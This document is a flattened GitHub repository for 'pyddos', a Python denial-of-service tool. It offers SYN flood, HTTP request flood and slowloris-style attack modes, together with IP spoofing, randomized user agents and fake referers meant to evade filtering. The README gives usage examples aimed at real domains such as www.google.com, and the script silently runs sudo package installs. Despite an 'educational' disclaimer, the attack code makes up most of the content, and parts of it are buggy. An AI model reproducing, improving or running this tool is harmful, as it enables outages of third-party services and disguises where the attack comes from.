├── .gitignore ├── README.md ├── pyddos.py └── ua.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | 61 | #Ipython Notebook 62 | .ipynb_checkpoints 63 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pyddos.py 2 | 3 | * This is my new update 4 | * This script have 3 type of ddos attacks : SYNFLOOD | REQUEST | Pyslow 5 | * Script has pyslow attack type which is similar to slowloris attack 6 | 7 | # Note 8 | * I wrote this script for educational not for destructive purposes and illegal actions, so I won't be responsible for that 9 | 10 | 11 | # Requires module 12 | * termcolor 13 | * colorama 14 | 15 | 16 | 17 | # Usage 18 | 19 | _ \ __ \ __ \ ___| _) | 20 | | | | | | | | | _ \ __| \___ \ __| __| | __ \ __| 21 | ___/ | | | | | | ( |\__ \ | ( | | | | | 22 | _| \__, |____/ ____/ \___/ ____/ _____/ \___|_| _| .__/ \__| 23 | ____/ _| 24 | 25 | DDos python script | Script used for testing ddos | Ddos attack 26 | Author: ___T7hM1___ 27 | Github: http://github.com/t7hm1/pyddos 28 | Version:3.0 29 | 30 | usage: python3 pyddos.py -d [target] -p [port] -T [number threads] 31 | 32 | optional arguments: 33 | -h, --help show this help message and exit 34 | -v, --version show program's version number and exit 35 | 36 | options: 37 | 38 | -d Specify your target such an ip or domain name 39 | -t Set timeout for socket 40 | -T Set threads number for connection (default = 1000) 41 | -p Specify port target (default = 80) |Only required with pyslow attack| 42 | -s Set sleep time for reconnection 43 | -i Specify spoofed ip unless use fake ip 44 | -Request Enable request target 45 | -Synflood Enable synflood attack 46 | -Pyslow Enable pyslow attack 47 | --fakeip Option to create fake ip if not specify spoofed ip 48 | 49 | Example: 50 | python3 pyddos.py -d www.example.com -p 80 -T 2000 -Pyslow 51 | python3 pyddos.py -d www.domain.com -s 100 -Request 52 | python3 pyddos.py -d www.google.com -Synflood -T 5000 -t 10.0 53 | 54 | -------------------------------------------------------------------------------- /pyddos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | version= '3.0' 4 | title = ''' 5 | 6 | _ \ __ \ __ \ ___| _) | 7 | | | | | | | | | _ \ __| \___ \ __| __| | __ \ __| 8 | ___/ | | | | | | ( |\__ \ | ( | | | | | 9 | _| \__, |____/ ____/ \___/ ____/ _____/ \___|_| _| .__/ \__| 10 | ____/ _| 11 | 12 | DDos python script | Script used for testing ddos | Ddos attack 13 | Author: ___T7hM1___ 14 | Github: http://github.com/t7hm1/pyddos 15 | Version:'''+version+''' 16 | ''' 17 | 18 | import re 19 | import os 20 | import sys 21 | import json 22 | import time 23 | import string 24 | import signal 25 | import http.client,urllib.parse 26 | from random import * 27 | from socket import * 28 | from struct import * 29 | from threading import * 30 | from argparse import ArgumentParser,RawTextHelpFormatter 31 | 32 | if os.name == 'posix': 33 | c = os.system('which pip') 34 | if c == 256: 35 | os.system('sudo apt-get install python-pip') 36 | else: 37 | pass 38 | else: 39 | print ('[-] Check your pip installer') 40 | 41 | try: 42 | import requests,colorama 43 | from termcolor import colored,cprint 44 | except: 45 | try: 46 | if os.name == 'posix': 47 | os.system('sudo pip install colorama termcolor requests') 48 | sys.exit('[+] I have installed necessary modules for you') 49 | elif os.name == 'nt': 50 | os.system('pip install colorama requests termcolor') 51 | sys.exit('[+] I have installed nessecary modules for you') 52 | else: 53 | sys.exit('[-] Download and install necessary modules') 54 | except Exception as e: 55 | print ('[-]',e) 56 | if os.name == 'nt': 57 | colorama.init() 58 | 59 | signal.signal(signal.SIGFPE,signal.SIG_DFL) 60 | 61 | def fake_ip(): 62 | while True: 63 | ips = [str(randrange(0,256)) for i in range(4)] 64 | if ips[0] == "127": 65 | continue 66 | fkip = '.'.join(ips) 67 | break 68 | return fkip 69 | 70 | def check_tgt(args): 71 | tgt = args.d 72 | try: 73 | ip = gethostbyname(tgt) 74 | except: 75 | sys.exit(cprint('[-] Can\'t resolve host:Unknown host!','red')) 76 | return ip 77 | 78 | def add_useragent(): 79 | try: 80 | with open("./ua.txt","r") as fp: 81 | uagents = re.findall(r"(.+)\n",fp.read()) 82 | except FileNotFoundError: 83 | cprint('[-] No file named \'ua.txt\',failed to load User-Agents','yellow') 84 | return [] 85 | return uagents 86 | 87 | def add_bots(): 88 | bots=[] 89 | bots.append('http://www.bing.com/search?q=%40&count=50&first=0') 90 | bots.append('http://www.google.com/search?hl=en&num=100&q=intext%3A%40&ie=utf-8') 91 | return bots 92 | 93 | class Pyslow: 94 | def __init__(self, 95 | tgt, 96 | port, 97 | to, 98 | threads, 99 | sleep): 100 | self.tgt = tgt 101 | self.port = port 102 | self.to = to 103 | self.threads = threads 104 | self.sleep = sleep 105 | self.method = ['GET','POST'] 106 | self.pkt_count = 0 107 | def mypkt(self): 108 | text = choice(self.method) + ' /' + str(randint(1,999999999)) + ' HTTP/1.1\r\n'+\ 109 | 'Host:'+self.tgt+'\r\n'+\ 110 | 'User-Agent:'+choice(add_useragent())+'\r\n'+\ 111 | 'Content-Length: 42\r\n' 112 | pkt = buffer(text) 113 | return pkt 114 | def building_socket(self): 115 | try: 116 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 117 | sock.settimeout(self.to) 118 | sock.connect((self.tgt,int(self.port))) 119 | self.pkt_count += 3 120 | if sock: 121 | sock.sendto(self.mypkt(),(self.tgt,int(self.port))) 122 | self.pkt_count += 1 123 | except Exception: 124 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 125 | sock.settimeout(self.to) 126 | sock.connect((self.tgt,int(self.port))) 127 | sock.settimeout(None) 128 | self.pkt_count+=3 129 | if sock: 130 | sock.sendto(self.mypkt(),(self.tgt,int(self.port))) 131 | self.pkt_count+=1 132 | except KeyboardInterrupt: 133 | sys.exit(cprint('[-] Canceled by user','red')) 134 | return sock 135 | def sending_packets(self): 136 | try: 137 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 138 | sock.settimeout(self.to) 139 | sock.connect((self.tgt,int(self.port))) 140 | self.pkt_count+=3 141 | if sock: 142 | sock.sendall('X-a: b\r\n') 143 | self.pkt+=1 144 | except Exception: 145 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 146 | sock.settimeout(self.to) 147 | sock.connect((self.tgt,int(self.port))) 148 | sock.settimeout(None) 149 | if sock: 150 | sock.sendall('X-a: b\r\n') 151 | self.pkt_count+=1 152 | except KeyboardInterrupt: 153 | sys.exit(cprint('[-] Canceled by user','red')) 154 | return sock 155 | def doconnection(self): 156 | socks = 0 157 | fail=0 158 | lsocks=[] 159 | lhandlers=[] 160 | cprint('\t\tBuilding sockets','blue') 161 | while socks < (int(self.threads)): 162 | try: 163 | sock = self.building_socket() 164 | if sock: 165 | lsocks.append(sock) 166 | socks+=1 167 | if socks > int(self.threads): 168 | break 169 | except Exception: 170 | fail+=1 171 | except KeyboardInterrupt: 172 | sys.exit(cprint('[-] Canceled by user','red')) 173 | cprint('\t\tSending packets','blue') 174 | while socks < int(self.threads): 175 | try: 176 | handler = self.sending_packets() 177 | if handler: 178 | lhandlers.append(handler) 179 | socks+=1 180 | if socks > int(self.threads): 181 | break 182 | else: 183 | pass 184 | except Exception: 185 | fail+=1 186 | except KeyboardInterrupt: 187 | break 188 | sys.exit(cprint('[-] Canceled by user','red')) 189 | # print colored('I have sent ','green') + colored(str(self.pkt_count),'cyan') + colored(' packets successfully.Now i\'m going to sleep for ','green') + colored(self.sleep,'red') + colored(' second','green') 190 | time.sleep(self.sleep) 191 | 192 | class Requester(Thread): 193 | def __init__(self,tgt): 194 | Thread.__init__(self) 195 | self.tgt = tgt 196 | self.port = None 197 | self.ssl = False 198 | self.req = [] 199 | self.lock=Lock() 200 | url_type = urllib.parse.urlparse(self.tgt) 201 | if url_type.scheme == 'https': 202 | self.ssl = True 203 | if self.ssl == True: 204 | self.port = 443 205 | else: 206 | self.port = 80 207 | def header(self): 208 | cachetype = ['no-cache','no-store','max-age='+str(randint(0,10)),'max-stale='+str(randint(0,100)),'min-fresh='+str(randint(0,10)),'notransform','only-if-cache'] 209 | acceptEc = ['compress,gzip','','*','compress;q=0,5, gzip;q=1.0','gzip;q=1.0, indentity; q=0.5, *;q=0'] 210 | acceptC = ['ISO-8859-1','utf-8','Windows-1251','ISO-8859-2','ISO-8859-15'] 211 | bot = add_bots() 212 | c=choice(cachetype) 213 | a=choice(acceptEc) 214 | http_header = { 215 | 'User-Agent' : choice(add_useragent()), 216 | 'Cache-Control' : c, 217 | 'Accept-Encoding' : a, 218 | 'Keep-Alive' : '42', 219 | 'Host' : self.tgt, 220 | 'Referer' : choice(bot) 221 | } 222 | return http_header 223 | def rand_str(self): 224 | mystr=[] 225 | for x in range(3): 226 | chars = tuple(string.ascii_letters+string.digits) 227 | text = (choice(chars) for _ in range(randint(7,14))) 228 | text = ''.join(text) 229 | mystr.append(text) 230 | return '&'.join(mystr) 231 | def create_url(self): 232 | return self.tgt + '?' + self.rand_str() 233 | def data(self): 234 | url = self.create_url() 235 | http_header = self.header() 236 | return (url,http_header) 237 | 238 | def run(self): 239 | try: 240 | if self.ssl: 241 | conn = http.client.HTTPSConnection(self.tgt,self.port) 242 | else: 243 | conn = http.client.HTTPConnection(self.tgt,self.port) 244 | self.req.append(conn) 245 | for reqter in self.req: 246 | (url,http_header) = self.data() 247 | method = choice(['get','post']) 248 | reqter.request(method.upper(),url,None,http_header) 249 | except KeyboardInterrupt: 250 | sys.exit(cprint('[-] Canceled by user','red')) 251 | except Exception as e: 252 | print (e) 253 | finally: 254 | self.closeConnections() 255 | def closeConnections(self): 256 | for conn in self.req: 257 | try: 258 | conn.close() 259 | except: 260 | pass 261 | 262 | class Synflood(Thread): 263 | def __init__(self,tgt,ip,sock=None): 264 | Thread.__init__(self) 265 | self.tgt = tgt 266 | self.ip = ip 267 | self.psh = '' 268 | if sock is None: 269 | self.sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 270 | self.sock.setsockopt(IPPROTO_IP,IP_HDRINCL,1) 271 | else: 272 | self.sock=sock 273 | self.lock=Lock() 274 | def checksum(self): 275 | s = 0 276 | for i in range(0,len(self.psh),2): 277 | w = (ord(self.psh[i]) << 8) + (ord(self.psh[i+1])) 278 | s = s+w 279 | 280 | s = (s>>16) + (s & 0xffff) 281 | s = ~s & 0xffff 282 | 283 | return s 284 | def Building_packet(self): 285 | ihl=5 286 | version=4 287 | tos=0 288 | tot=40 289 | id=54321 290 | frag_off=0 291 | ttl=64 292 | protocol=IPPROTO_TCP 293 | check=10 294 | s_addr=inet_aton(self.ip) 295 | d_addr=inet_aton(self.tgt) 296 | 297 | ihl_version = (version << 4) + ihl 298 | ip_header = pack('!BBHHHBBH4s4s',ihl_version,tos,tot,id,frag_off,ttl,protocol,check,s_addr,d_addr) 299 | 300 | source = 54321 301 | dest = 80 302 | seq = 0 303 | ack_seq = 0 304 | doff = 5 305 | fin = 0 306 | syn = 1 307 | rst = 0 308 | ack = 0 309 | psh = 0 310 | urg = 0 311 | window = htons(5840) 312 | check = 0 313 | urg_prt = 0 314 | 315 | offset_res = (doff << 4) 316 | tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5) 317 | tcp_header=pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,check,urg_prt) 318 | 319 | src_addr = inet_aton(self.ip) 320 | dst_addr = inet_aton(self.tgt) 321 | place = 0 322 | protocol = IPPROTO_TCP 323 | tcp_length = len(tcp_header) 324 | 325 | self.psh = pack('!4s4sBBH',src_addr,dst_addr,place,protocol,tcp_length); 326 | self.psh = self.psh + tcp_header; 327 | 328 | tcp_checksum = self.checksum() 329 | 330 | tcp_header = pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,tcp_checksum,urg_prt) 331 | packet = ip_header + tcp_header 332 | 333 | return packet 334 | 335 | def run(self): 336 | packet=self.Building_packet() 337 | try: 338 | self.lock.acquire() 339 | self.sock.sendto(packet,(self.tgt,0)) 340 | except KeyboardInterrupt: 341 | sys.exit(cprint('[-] Canceled by user','red')) 342 | except Exception as e: 343 | cprint(e,'red') 344 | finally: 345 | self.lock.release() 346 | 347 | def main(): 348 | parser = ArgumentParser( 349 | usage='./%(prog)s -t [target] -p [port] -t [number threads]', 350 | formatter_class=RawTextHelpFormatter, 351 | prog='pyddos', 352 | description=cprint(title,'white',attrs=['bold']), 353 | epilog=''' 354 | Example: 355 | ./%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow 356 | ./%(prog)s -d www.domain.com -s 100 -Request 357 | ./%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0 358 | ''' 359 | ) 360 | options = parser.add_argument_group('options','') 361 | options.add_argument('-d',metavar='',default=False,help='Specify your target such an ip or domain name') 362 | options.add_argument('-t',metavar='',default=5.0,help='Set timeout for socket') 363 | options.add_argument('-T',metavar='',default=1000,help='Set threads number for connection (default = 1000)') 364 | options.add_argument('-p',metavar='',default=80,help='Specify port target (default = 80)' + colored(' |Only required with pyslow attack|','red')) 365 | options.add_argument('-s',metavar='',default=100,help='Set sleep time for reconnection') 366 | options.add_argument('-i',metavar='',default=False,help='Specify spoofed ip unless use fake ip') 367 | options.add_argument('-Request',action='store_true',help='Enable request target') 368 | options.add_argument('-Synflood',action='store_true',help='Enable synflood attack') 369 | options.add_argument('-Pyslow',action='store_true',help='Enable pyslow attack') 370 | options.add_argument('--fakeip',action='store_true',default=False,help='Option to create fake ip if not specify spoofed ip') 371 | args = parser.parse_args() 372 | if args.d == False: 373 | parser.print_help() 374 | sys.exit() 375 | add_bots();add_useragent() 376 | if args.d: 377 | check_tgt(args) 378 | if args.Synflood: 379 | uid = os.getpid() 380 | if uid == 0: 381 | cprint('[*] You have enough permisson to run this script','green') 382 | time.sleep(0.5) 383 | else: 384 | sys.exit(cprint('[-] You haven\'t enough permission to run this script','red')) 385 | tgt=check_tgt(args) 386 | synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 387 | synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1) 388 | ts=[] 389 | threads=[] 390 | print (colored('[*] Started SYN Flood: ','blue')+colored(tgt,'red')) 391 | while 1: 392 | if args.i == False: 393 | args.fakeip = True 394 | if args.fakeip == True: 395 | ip = fake_ip() 396 | else: 397 | ip = args.i 398 | try: 399 | for x in range(0,int(args.T)): 400 | thread=Synflood(tgt,ip,sock=synsock) 401 | thread.setDaemon(True) 402 | thread.start() 403 | thread.join() 404 | except KeyboardInterrupt: 405 | sys.exit(cprint('[-] Canceled by user','red')) 406 | elif args.Request: 407 | tgt = args.d 408 | threads = [] 409 | print (colored('[*] Start send request to: ','blue')+colored(tgt,'red')) 410 | while 1: 411 | try: 412 | for x in range(int(args.T)): 413 | t=Requester(tgt) 414 | t.daemon = True 415 | t.start() 416 | t.join() 417 | except KeyboardInterrupt: 418 | sys.exit(cprint('[-] Canceled by user','red')) 419 | elif args.Pyslow: 420 | try: 421 | tgt = args.d 422 | port = args.p 423 | to = float(args.t) 424 | st = int(args.s) 425 | threads = int(args.T) 426 | except Exception as e: 427 | print ('[-]',e) 428 | while 1: 429 | try: 430 | worker=Pyslow(tgt,port,to,threads,st) 431 | worker.doconnection() 432 | except KeyboardInterrupt: 433 | sys.exit(cprint('[-] Canceled by user','red')) 434 | if not (args.Synflood) and not (args.Request) and not (args.Pyslow): 435 | parser.print_help() 436 | print 437 | sys.exit(cprint('[-] You must choose attack type','red')) 438 | 439 | if __name__ == '__main__': 440 | main() 441 | -------------------------------------------------------------------------------- /ua.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 2 | Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0 3 | Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 4 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 5 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6 6 | Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0 7 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 8 | Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00 9 | Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01 10 | Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 11 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 12 | Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01 13 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 14 | Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 15 | Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 16 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) 17 | Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62 18 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 19 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36 20 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 21 | Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0 22 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0 23 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 24 | Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3 25 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64) 26 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 27 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) 28 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0) 29 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) 30 | Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 31 | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 32 | Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0 33 | Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0) 34 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36 35 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 36 | Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 37 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0 38 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36 39 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US) 40 | Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 41 | Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01 42 | Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 43 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) 44 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 45 | Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 46 | Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 47 | Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0 48 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) 49 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 50 | Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 51 | Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 52 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 53 | Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 54 | Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 55 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) 56 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17 57 | Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 58 | Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 59 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 60 | Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 61 | Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0 62 | Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 63 | Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 64 | Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0 65 | Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 66 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0) 67 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 68 | Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0 69 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 70 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 71 | Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 72 | Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 73 | Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0 74 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) 75 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 76 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 77 | Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 78 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36 79 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 80 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205 81 | Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 82 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 83 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) 84 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 2.8.52393; WOW64; en-US) 85 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.7.58687; SLCC2; Media Center PC 5.0; Zune 3.4; Tablet PC 3.6; InfoPath.3) 86 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 87 | Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0 88 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 89 | Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11 90 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 91 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 92 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0 93 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) 